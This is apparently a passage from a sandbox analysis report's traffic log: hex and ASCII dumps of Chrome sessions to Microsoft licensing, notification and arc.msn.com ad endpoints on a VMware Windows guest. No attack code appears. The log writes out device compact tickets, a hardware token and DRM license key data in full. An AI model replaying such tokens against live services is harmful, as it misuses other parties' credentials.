6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 6a 61 47 56 74 59 53 49 67 65 47 31 73 62 6e 4d 36 65 48 4e 70 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 
6a 61 47 56 74 59 53 31 70 62 6e 4e 30 59 57 35 6a 5a 53 49 67 53 55 51 39 
Data Ascii: {"license":{"keys":[{"metadata":{"drmType":"Mkms","keyId":"fc93b452-8a84-dede-3b7a-0fc9413c4592"},
"value":"PExpY2Vuc2UgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeG1sbnM6e
HNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgSUQ9

2022-07-01 09:01:37 UTC 2652 IN Data Raw: 44 41 36 4d 6a 67 36 4d 6a 45 75 4d 54 45 77 4d 44 49 35 4d 31 6f 38 4c 30 4a 6c 5a 32 6c 75 52 47 46 30 5a 
54 34 38 4c 30 78 70 59 32 56 75 63 32 56 4a 62 6d 5a 76 50 6a 78 44 64 58 4e 30 62 32 31 51 62 32 78 70 59 32 6c 6c 
63 7a 35 6c 65 55 70 7a 57 6c 64 6b 61 46 6b 7a 62 46 46 6a 62 54 6c 72 5a 46 64 4f 4d 46 4e 58 55 57 6c 50 61 55 6b 
77 54 57 70 47 61 56 6c 55 5a 7a 4e 4f 51 7a 46 74 54 31 52 42 65 6b 78 55 55 54 56 4f 61 6c 56 30 54 31 64 4a 4e 45 3
1 70 4d 57 74 4f 61 6b 4a 74 54 54 4a 4b 61 45 30 79 54 6d 68 61 56 45 46 70 5a 6c 45 39 50 54 77 76 51 33 56 7a 64 
47 39 74 55 47 39 73 61 57 4e 70 5a 58 4d 2b 50 46 4e 51 54 47 6c 6a 5a 57 35 7a 5a 55 4a 73 62 32 4e 72 50 6b 5a 42 
51 55 46 42 54 45 46 42 51 55 46 45 53 6b 46 42 51 55 46 44 5a 30 46 42 
Data Ascii: DA6Mjg6MjEuMTEwMDI5M1o8L0JlZ2luRGF0ZT48L0xpY2Vuc2VJbmZvPjxDdXN0b21Qb2xpY2llcz5
leUpzWldkaFkzbFFjbTlrZFdOMFNXUWlPaUkwTWpGaVlUZzNOQzFtT1RBekxUUTVOalV0T1dJNE1pMWtOakJtTTJKa
E0yTmhaVEFpZlE9PTwvQ3VzdG9tUG9saWNpZXM+PFNQTGljZW5zZUJsb2NrPkZBQUFBTEFBQUFESkFBQUFDZ0FB

2022-07-01 09:01:37 UTC 2653 IN Data Raw: 57 35 6a 5a 53 42 56 55 6b 6b 39 49 69 49 2b 50 46 52 79 59 57 35 7a 5a 6d 39 79 62 58 4d 2b 50 46 52 79 
59 57 35 7a 5a 6d 39 79 62 53 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 
75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 41 76 4d 44 6b 76 65 47 31 73 5a 48 4e 70 5a 79 4e 6c 62 6e 5a 6c 62 47 
39 77 5a 57 51 74 63 32 6c 6e 62 6d 46 30 64 58 4a 6c 49 69 41 76 50 6a 77 76 56 48 4a 68 62 6e 4e 6d 62 33 4a 74 63 
7a 34 38 52 47 6c 6e 5a 58 4e 30 54 57 56 30 61 47 39 6b 49 45 46 73 5a 32 39 79 61 58 52 6f 62 54 30 69 61 48 52 30 
63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 53 38 77 4e 43 39 34 62 57 78 6c 62 6d 4d 
6a 63 32 68 68 4d 6a 55 32 49 69 41 76 50 6a 78 45 61 57 64 6c 63 33 52 57 
Data Ascii: W5jZSBVUkk9IiI+PFRyYW5zZm9ybXM+PFRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzM
ub3JnLzIwMDAvMDkveG1sZHNpZyNlbnZlbG9wZWQtc2lnbmF0dXJlIiAvPjwvVHJhbnNmb3Jtcz48RGlnZXN0TWV0a
G9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxlbmMjc2hhMjU2IiAvPjxEaWdlc3RW

2022-07-01 09:01:37 UTC 2654 IN Data Raw: 79 74 70 62 6a 6c 51 54 30 78 58 5a 45 4d 79 4c 31 52 52 62 32 52 6e 5a 55 68 61 65 6d 4a 6b 51 6e 5a 34 
53 6e 5a 4c 61 48 42 69 63 6e 45 32 57 6c 41 77 52 6e 4e 54 52 57 78 4d 64 31 4a 76 54 45 46 74 64 6a 64 36 53 58 56 
57 64 7a 4e 57 59 6a 64 30 5a 6c 46 30 4e 57 4a 71 51 30 52 49 55 6b 46 48 4f 57 5a 6c 63 30 35 73 57 55 74 57 4d 33 6
c 69 65 55 35 79 53 48 6c 36 5a 32 78 6d 57 6c 42 53 51 6a 56 56 53 6c 70 33 4d 7a 4a 35 61 54 41 7a 65 6c 46 68 4b 
30 78 4d 59 54 41 31 5a 6d 70 7a 4e 6d 70 76 52 57 31 73 53 47 4d 31 51 6e 4a 48 55 58 4a 48 63 6d 4a 4f 54 55 4a 68 
61 48 6f 30 59 32 31 31 65 45 74 44 4e 43 39 6b 61 45 56 69 4e 30 70 61 52 6c 56 72 59 7a 42 4e 55 6d 68 7a 4c 30 30 
7a 56 6d 55 31 4d 54 46 49 55 57 5a 4c 64 55 63 72 4f 54 4a 6e 4d 55 39 6d 
Data Ascii: ytpbjlQT0xXZEMyL1RRb2RnZUhaemJkQnZ4SnZLaHBicnE2WlAwRnNTRWxMd1JvTEFtdjd6SXVWdzN
WYjd0ZlF0NWJqQ0RIUkFHOWZlc05sWUtWM3lieU5ySHl6Z2xmWlBSQjVVSlp3MzJ5aTAzelFhK0xMYTA1ZmpzNmpvR
W1sSGM1QnJHUXJHcmJOTUJhaHo0Y211eEtDNC9kaEViN0paRlVrYzBNUmhzL00zVmU1MTFIUWZLdUcrOTJnMU9m

2022-07-01 09:01:37 UTC 2655 IN Data Raw: 68 64 47 56 6b 55 45 5a 4f 63 7a 35 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 75 51 6d 6c 75 5a 31 64 6c 59 58 52 
6f 5a 58 4a 66 4f 48 64 6c 61 33 6c 69 4d 32 51 34 59 6d 4a 33 5a 54 77 76 51 58 4e 7a 62 32 4e 70 59 58 52 6c 5a 46 
42 47 54 6e 4d 2b 50 45 78 6c 59 58 4e 6c 55 6d 56 75 5a 58 64 68 62 46 42 6c 63 6d 6c 76 5a 44 34 78 4d 6a 6b 32 4d 
44 41 38 4c 30 78 6c 59 58 4e 6c 55 6d 56 75 5a 58 64 68 62 46 42 6c 63 6d 6c 76 5a 44 34 38 4c 30 4a 70 62 6d 52 70 
62 6d 63 2b 50 45 78 70 59 32 56 75 63 32 56 4a 62 6d 5a 76 49 46 52 35 63 47 55 39 49 6b 78 6c 59 58 4e 6c 49 69 42 
4d 61 57 4e 6c 62 6e 4e 6c 56 58 4e 68 5a 32 55 39 49 6b 39 75 62 47 6c 75 5a 53 49 67 54 47 6c 6a 5a 57 35 7a 5a 55 
4e 68 64 47 56 6e 62 33 4a 35 50 53 4a 53 5a 58 52 68 61 57 77 69 50 6a 
Data Ascii: hdGVkUEZOcz5NaWNyb3NvZnQuQmluZ1dlYXRoZXJfOHdla3liM2Q4YmJ3ZTwvQXNzb2NpYXRlZFBGT
nM+PExlYXNlUmVuZXdhbFBlcmlvZD4xMjk2MDA8L0xlYXNlUmVuZXdhbFBlcmlvZD48L0JpbmRpbmc+PExpY2Vuc2V
JbmZvIFR5cGU9IkxlYXNlIiBMaWNlbnNlVXNhZ2U9Ik9ubGluZSIgTGljZW5zZUNhdGVnb3J5PSJSZXRhaWwiPj

2022-07-01 09:01:37 UTC 2656 IN Data Raw: 59 54 57 6c 50 62 48 51 33 53 57 35 43 61 46 6b 79 64 47 68 61 4d 6c 5a 4b 57 6b 64 57 64 57 52 48 62 47 
31 68 56 31 5a 35 53 57 70 76 61 56 70 55 57 54 4a 4f 56 47 68 71 54 56 52 72 64 45 35 45 53 58 6c 4e 55 7a 42 35 57 
6c 64 4b 62 45 78 55 59 7a 4a 4e 4d 6b 56 30 57 6d 70 42 4d 45 39 55 54 6d 31 5a 62 55 56 35 57 57 31 4a 64 30 6c 70 
64 32 6c 6a 52 30 5a 71 59 54 4a 47 62 6c 70 57 55 6a 56 6a 52 31 56 70 54 32 6c 4b 64 47 4d 79 62 44 52 4a 61 58 64 
70 59 30 68 4b 64 6c 70 49 56 6d 70 6b 52 55 5a 72 57 6b 55 35 64 57 4e 35 53 54 5a 58 4d 54 42 7a 53 57 35 43 65 57 
49 79 55 6a 46 5a 4d 31 4a 4b 57 6b 4e 4a 4e 6b 6c 71 62 46 68 58 61 31 4a 50 55 54 46 4b 52 31 4e 71 54 6c 4a 4e 61 
55 6c 7a 53 57 35 4f 63 6d 52 56 62 47 74 4a 61 6d 39 70 54 55 52 42 65 45 
Data Ascii: YTWlPbHQ3SW5CaFkydGhaMlZKWkdWdWRHbG1hV1Z5SWpvaVpUWTJOVGhqTVRrdE5ESXl
NUzB5WldKbExUYzJNMkV0WmpBME9UTm1ZbUV5WW1Jd0lpd2ljR0ZqYTJGblpWUjVjR1VpT2lKdGMybDR
JaXdpY0hKdlpIVmpkRUZrWkU5dWN5STZXMTBzSW5CeWIyUjFZM1JKWkNJNklqbFhXa1JPUTFKR1NqTlJ
NaUlzSW5OcmRVbGtJam9pTURBeE

2022-07-01 09:01:37 UTC 2657 IN Data Raw: 6d 62 7a 34 38 51 32 46 75 62 32 35 70 59 32 46 73 61 58 70 68 64 47 6c 76 62 6b 31 6c 64 47 68 76 5a 43 
42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 
7a 49 77 4d 44 45 76 4d 54 41 76 65 47 31 73 4c 57 56 34 59 79 31 6a 4d 54 52 75 49 79 49 67 4c 7a 34 38 55 32 6c 6e 
62 6d 46 30 64 58 4a 6c 54 57 56 30 61 47 39 6b 49 45 46 73 5a 32 39 79 61 58 52 6f 62 54 30 69 61 48 52 30 63 44 6f 
76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 53 38 77 4e 43 39 34 62 57 78 6b 63 32 6c 6e 4c 57 
31 76 63 6d 55 6a 63 6e 4e 68 4c 58 4e 6f 59 54 49 31 4e 69 49 67 4c 7a 34 38 55 6d 56 6d 5a 58 4a 6c 62 6d 4e 6c 49 
46 56 53 53 54 30 69 49 6a 34 38 56 48 4a 68 62 6e 4e 6d 62 33 4a 74 63 7a 
Data Ascii: mbz48Q2Fub25pY2FsaXphdGlvbk1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwM
DEvMTAveG1sLWV4Yy1jMTRuIyIgLz48U2lnbmF0dXJlTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmc
vMjAwMS8wNC94bWxkc2lnLW1vcmUjcnNhLXNoYTI1NiIgLz48UmVmZXJlbmNlIFVSST0iIj48VHJhbnNmb3Jtcz

2022-07-01 09:01:37 UTC 2658 IN Data Raw: 50 57 45 78 58 53 45 6c 54 4d 7a 45 76 53 30 4d 7a 61 45 35 57 53 48 4a 31 4e 6b 55 76 5a 56 5a 51 56 47 
35 54 54 58 70 68 54 31 64 45 51 7a 4e 74 5a 7a 30 39 50 43 39 54 61 57 64 75 59 58 52 31 63 6d 56 57 59 57 78 31 5a 
54 34 38 53 32 56 35 53 57 35 6d 62 79 42 4a 5a 44 30 69 58 7a 42 6d 4f 44 46 69 4d 6a 52 6d 4c 57 4a 6a 4e 44 41 74 
4d 6a 63 78 4d 69 30 77 5a 44 56 6b 4c 57 55 33 59 7a 45 77 4d 44 67 31 59 7a 4d 7a 4d 43 49 2b 50 45 74 6c 65 56 5a 
68 62 48 56 6c 50 6a 78 53 55 30 46 4c 5a 58 6c 57 59 57 78 31 5a 54 34 38 54 57 39 6b 64 57 78 31 63 7a 35 76 56 6c 
4e 4b 57 45 6c 30 52 48 4e 68 51 55 6c 6d 64 33 6c 53 4f 57 4a 6f 61 43 39 61 55 33 42 77 51 30 46 50 4b 32 6c 75 4f 56 
42 50 54 46 64 6b 51 7a 49 76 56 46 46 76 5a 47 64 6c 53 46 70 36 59 6d 
Data Ascii: PWExXSElTMzEvS0MzaE5WSHJ1NkUvZVZQVG5TTXphT1dEQzNtZz09PC9TaWduYXR1cmV
WYWx1ZT48S2V5SW5mbyBJZD0iXzBmODFiMjRmLWJjNDAtMjcxMi0wZDVkLWU3YzEwMDg1YzMzMCI+PEt
leVZhbHVlPjxSU0FLZXlWYWx1ZT48TW9kdWx1cz5vVlNKWEl0RHNhQUlmd3lSOWJoaC9aU3BwQ0FPK2luOVBPTFdkQ
zIvVFFvZGdlSFp6Ym

Timestamp
kBytes
transferred

Direction Data
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

161 192.168.2.5 49928 20.199.120.151 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:01:39 UTC 2659 OUT Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 64 63 63 37 64 61 37 61 64 38 61 
62 39 32 30 0d 0a 0d 0a 
Data Ascii: CNT 1 CON 246Context: bdcc7da7ad8ab920

2022-07-01 09:01:39 UTC 2659 OUT Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 
6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 
6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 
34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 
76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 
61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e 
Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc>
<lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</
deviceName></agent></connect>

2022-07-01 09:01:39 UTC 2659 OUT Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 32 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 64 63 63 
37 64 61 37 61 64 38 61 62 39 32 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 
3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 
62 6d 51 41 41 66 67 54 2f 37 30 52 32 76 44 6f 6a 4d 61 68 74 49 4e 66 45 44 49 77 65 37 44 41 45 63 6f 54 58 78 79 3
8 4f 42 65 43 7a 41 4c 4f 55 74 58 2b 42 6f 63 75 74 45 55 70 34 45 4e 49 43 39 37 56 74 43 59 72 36 78 44 6e 59 69 72 
38 49 38 62 30 37 47 53 38 44 67 6e 33 31 33 58 33 38 70 61 6a 4c 47 73 31 66 6f 79 70 46 4e 6e 55 73 41 47 54 45 69 
61 55 59 43 65 71 63 30 39 48 4e 33 39 50 67 5a 61 58 61 35 4d 76 6e 
Data Ascii: ATH 2 CON\DEVICE 1026Context: bdcc7da7ad8ab920<device><compact-ticket>t=EwCwAupIBAAU1bDG
fdaziDfXpjN5N6cYhT1wbmQAAfgT/70R2vDojMahtINfEDIwe7DAEcoTXxy8OBeCzALOUtX+BocutEUp4ENIC97VtC
Yr6xDnYir8I8b07GS8Dgn313X38pajLGs1foypFNnUsAGTEiaUYCeqc09HN39PgZaXa5Mvn

2022-07-01 09:01:39 UTC 2660 OUT Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 64 63 63 37 64 61 37 61 
64 38 61 62 39 32 30 0d 0a 0d 0a 
Data Ascii: BND 3 CON\QOS 29Context: bdcc7da7ad8ab920

2022-07-01 09:01:39 UTC 2660 IN Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a 
Data Ascii: 202 1 CON 58

2022-07-01 09:01:39 UTC 2660 IN Data Raw: 4d 53 2d 43 56 3a 20 4c 36 37 35 6c 52 61 47 6f 55 71 73 4f 51 48 6f 78 49 79 33 67 67 2e 30 0d 0a 0d 0a 50 
61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e 
Data Ascii: MS-CV: L675lRaGoUqsOQHoxIy3gg.0Payload parsing failed.

Session ID Source IP Source Port Destination IP
Destination
Port

Process

162 192.168.2.5 49932 20.82.209.183 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:01:44 UTC 2660 OUT GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1
&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&locali
d=w:FE8E72D9-9324-F27F-91C7-FEE66B531521&ctry=US&time=20220701T180143Z&lc=en-US&pl=en-US&i
dtp=mid&uid=8706df6d-9543-4122-b8e1-1fcdd5939be6&aid=00000000-0000-0000-0000-000000000000&ua=Windows
ShellClient%2F9.0.40929.0%20%28Windows%29&asid=b9f56e707a9747e78ee527c445ca8f2f&ctmode=MultiSession&
arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disp
horzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1583966&metered=false&nettype=ethernet&npid=sc-
280815&oemName=ofrcin%2C%20Inc.&oemid=ofrcin%2C%20Inc.&ossku=Professional&smBiosDm=ofrcin7%2C1&tl=2&
tsu=1583966&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: cid=128000000001627409&chs=0&imp=0&chf=0&ds=50583&fs=32099&sc=6
X-SDK-HW-TOKEN: t=EwDgAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAATC3I5MCiNiZRUSkHLXmr2
h16E7Q++Whx3iOpPKiyn/NnUhEWye0F9WEEPnb9KQwSNFvj/XsSGU+fQ60XP5FvzL5J5wi77xbTZc9g24kpX9P1nlL
OzpG0xrAJrD+T4KTGi9jjN8SegCSaJgQHuPLjUeYbgWurckU5hBGQI0KjpxtOgLUXZnvljzLPCvjHYYX/OhLGHZdbS
UqvNgwTnOAHCEBSCdSXq8CFtA8jTWYpVrSl04xAmMUAeJPR4hszXb40dopACLqjCOIIvrBZLyAuxmy731fbSFbQ1H/
iAvCTmgj9lEZiVPz+U6YpwAm89lZBq/wg1vI6jHdUMFP1hyQFKADZgAACJJ4RTrzHcmFsAHl64pJyj4mS+EjcMo1++
7j7FW8LVCdm3VQVLEZCUoC/mtauHkEiSRovL9wW+1CopT7nzGYdH4edpX55svzZyZS8SqmheKDvO3V/G54kOnghCJs
Ljw8t8x8ONKFjBovgeYkkCEAYmUFwVim2AwwlaWILVbfX+sdJWV1Y9hVCtotsn537CzSy1amz44pTUB1DDOKDGOE8+
Nyq/73+OVuxdkyFTubqFs66OlGcZ3XH8rGTF+d0l3GDn4TcT3EOqjrs14CFqPyC4ewNQcGYapLCW9De1ZHZnZKRy/I
t9InsQvETkbqNZAM9NGTX8xJHQ4bw3HnSh2OQ4rc+9bBvI6o3MRrU3DtSsoguzalI/wy78MpXF3WPCRZluxIA96fHI
TrlorCCObhUAbJNcnw/7RZP8RwbGbtVCmPcbSj/xg2S6a7BarITjxwuT+jSbB9M9uWS+y1ce1ENId+ZnoMdS5CpNSw
KU8/+SvrIcMYNNAKagqvedAxNUXKgY/Iz0JAfVqKqUKBHXTbV+vhdol7qxDowF8UhCe4PpHTMnCZfUmLUXfvGgi6kd
dv9hzT7zBwLR9AUfvaAQ==&p=
Cache-Control: no-cache
MS-CV: BQxQr0VbTEmcKjT7.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive
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2022-07-01 09:01:44 UTC 2662 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Length: 3077
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"RADIDS":"1,P425116123-T700333390-C128000000001627409+B+P20+S1"},{"OPTOUTST
ATE":"256"}]
X-ARC-SIG: ixQAjrFKgJ0Yu1LAtcgOa1VxdpAXz5nJ+Why8I3y8c6ssNi2snyJXDPDPZlh82Yc22AjAkQXSnK2JEv
bgDooOudjc/JCYC26aq6x71cRZelUPeGx9M7sEnkkkR7GjZ+JbcHf9nvorgzvtb+CtQSN9Smp6Fhg/tZeV5nXDOR/u
/Uncqu4L0XXNgCquypZ1kuKnji80/5rTmU/62ZU63657F3shEp9PB+K2uE+md3KrWZzyLLOxS+Z464u4YM4Y23KxJ1
riKbpEILDbDI7k8F7Hl8ETOvy69+77Z8Nc43/KXWILt1iRlVcgeCvrRJb6xp7Ak2vi5vhc6Ll79TzLtokcg==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Fri, 01 Jul 2022 09:01:43 GMT
Connection: close

2022-07-01 09:01:44 UTC 2663 IN Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 
22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 
72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 6
4 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 
5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 
66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 
5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 
Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedCont
ent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

163 192.168.2.5 49933 20.82.209.183 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:01:46 UTC 2666 OUT GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1
&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&locali
d=w:FE8E72D9-9324-F27F-91C7-FEE66B531521&ctry=US&time=20220701T180146Z&lc=en-US&pl=en-US&i
dtp=mid&uid=8706df6d-9543-4122-b8e1-1fcdd5939be6&aid=00000000-0000-0000-0000-000000000000&ua=Windows
ShellClient%2F9.0.40929.0%20%28Windows%29&asid=eb36d396bb984b19b6d1e1a2943f22ef&ctmode=MultiSession&
arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disp
horzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1583966&metered=false&nettype=ethernet&npid=sc-
338389&oemName=ofrcin%2C%20Inc.&oemid=ofrcin%2C%20Inc.&ossku=Professional&smBiosDm=ofrcin7%2C1&tl=2&
tsu=1583966&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: cid=128000000001627409&chs=0&imp=0&chf=0&ds=50583&fs=32099&sc=6
X-SDK-HW-TOKEN: t=EwDgAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAATC3I5MCiNiZRUSkHLXmr2
h16E7Q++Whx3iOpPKiyn/NnUhEWye0F9WEEPnb9KQwSNFvj/XsSGU+fQ60XP5FvzL5J5wi77xbTZc9g24kpX9P1nlL
OzpG0xrAJrD+T4KTGi9jjN8SegCSaJgQHuPLjUeYbgWurckU5hBGQI0KjpxtOgLUXZnvljzLPCvjHYYX/OhLGHZdbS
UqvNgwTnOAHCEBSCdSXq8CFtA8jTWYpVrSl04xAmMUAeJPR4hszXb40dopACLqjCOIIvrBZLyAuxmy731fbSFbQ1H/
iAvCTmgj9lEZiVPz+U6YpwAm89lZBq/wg1vI6jHdUMFP1hyQFKADZgAACJJ4RTrzHcmFsAHl64pJyj4mS+EjcMo1++
7j7FW8LVCdm3VQVLEZCUoC/mtauHkEiSRovL9wW+1CopT7nzGYdH4edpX55svzZyZS8SqmheKDvO3V/G54kOnghCJs
Ljw8t8x8ONKFjBovgeYkkCEAYmUFwVim2AwwlaWILVbfX+sdJWV1Y9hVCtotsn537CzSy1amz44pTUB1DDOKDGOE8+
Nyq/73+OVuxdkyFTubqFs66OlGcZ3XH8rGTF+d0l3GDn4TcT3EOqjrs14CFqPyC4ewNQcGYapLCW9De1ZHZnZKRy/I
t9InsQvETkbqNZAM9NGTX8xJHQ4bw3HnSh2OQ4rc+9bBvI6o3MRrU3DtSsoguzalI/wy78MpXF3WPCRZluxIA96fHI
TrlorCCObhUAbJNcnw/7RZP8RwbGbtVCmPcbSj/xg2S6a7BarITjxwuT+jSbB9M9uWS+y1ce1ENId+ZnoMdS5CpNSw
KU8/+SvrIcMYNNAKagqvedAxNUXKgY/Iz0JAfVqKqUKBHXTbV+vhdol7qxDowF8UhCe4PpHTMnCZfUmLUXfvGgi6kd
dv9hzT7zBwLR9AUfvaAQ==&p=
Cache-Control: no-cache
MS-CV: BQxQr0VbTEmcKjT7.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive
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2022-07-01 09:01:46 UTC 2669 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Length: 3079
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"RADIDS":"1,P425116219-T700333446-C128000000001627409+B+P10+S1"},{"OPTOUTST
ATE":"256"}]
X-ARC-SIG: q7roaVjJc3WP+H2uklD6QLqbw782MD/+FdJtj6XNP87G8h5htG5HW/uBbLwzNSrgiJ5+rdl3B8AaiicwzyrJjqrL7
DAi8mBYeD8MIpvznzM+OX/2l0rNHiLBHE6o0W4krt5amxym9XlrsCdxKp+w3QFuMNhzUTCRcmNE3O+ZKQr/J+oBLzR
VZrFcnq9aYLlSe5CwaiOL7m9Uxyv5tBqev0oqcD8dvsIuiipMBpAHJ04lYNzpnjjzzPiFOFxT3wj1G4/bl5KGKXdcj
Do+WmMmIZerRxFd16Y9z/Z67d712vGB7W37+9RcNCA/3E1O4jfRMO3J/PJrUHZMsnO7hM9uOg==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Fri, 01 Jul 2022 09:01:46 GMT
Connection: close

2022-07-01 09:01:46 UTC 2669 IN Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 
